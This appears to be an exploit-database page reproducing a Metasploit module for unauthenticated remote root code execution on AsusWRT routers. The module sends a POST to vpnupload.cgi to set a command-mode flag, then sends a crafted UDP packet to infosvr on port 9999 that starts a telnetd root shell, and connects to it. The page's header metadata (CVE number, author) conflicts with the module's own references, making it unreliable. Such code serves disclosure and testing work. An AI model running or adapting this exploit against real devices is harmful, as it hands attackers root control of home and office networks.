Advertisement






AsusWRT LAN Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2019-19211 CWE-78 Unknown High
Author Risk Exploitation Type Date
Rhyno CyberSec High Remote 2018-02-24
CPE
cpe:cpe:/a:asus:asuswrt
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018020269

Below is a copy:

AsusWRT LAN Unauthenticated Remote Code Execution
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
      'Description'    => %q{
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
      perform a POST in certain cases. This can be combined with another vulnerability in
      the VPN configuration upload routine that sets NVRAM configuration variables directly
      from the POST request to enable a special command mode.
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
      on port UDP 9999 to directly execute commands as root.
      This exploit leverages that to start telnetd in a random port, and then connects to it.
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <[email protected]>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
          ['CVE', '2018-5999'],
          ['CVE', '2018-6000']
        ],
      'Targets'        =>
        [
          [ 'AsusWRT < v3.0.0.4.384.10007',
            {
              'Payload'        =>
                {
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Jan 22 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(9999)
      ])

    register_advanced_options(
      [
        OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
      ])
  end

  def exploit
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
    post_data = Rex::MIME::Message.new
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")

    data = post_data.to_s

    res = send_request_cgi({
      'uri'    => "/vpnupload.cgi",
      'method' => 'POST',
      'rport'  => datastore['ASUSWRTPORT'],
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if res and res.code == 200
      print_good("#{peer} - Successfully set the ateCommand_flag variable.")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
    end


    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
    info_pdu_size = 512                         # expected packet size, not sure what the extra bytes are
    r = Random.new

    ibox_comm_pkt_hdr_ex  =
        [0x0c].pack('C*') +                     # NET_SERVICE_ID_IBOX_INFO  0xC
        [0x15].pack('C*') +                     # NET_PACKET_TYPE_CMD 0x15
        [0x33,0x00].pack('C*') +                # NET_CMD_ID_MANU_CMD 0x33
        r.bytes(4) +                            # Info, don't know what this is
        r.bytes(6) +                            # MAC address
        r.bytes(32)                             # Password

    telnet_port = rand((2**16)-1024)+1024
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
    pkt_syscmd =
        [cmd.length,0x00].pack('C*') +          # cmd length
        cmd                                     # our command

    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)

    connect_udp
    udp_sock.put(pkt_final)                     # we could process the response, but we don't care
    disconnect_udp

    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
    sleep(10)

    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... try again?")
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum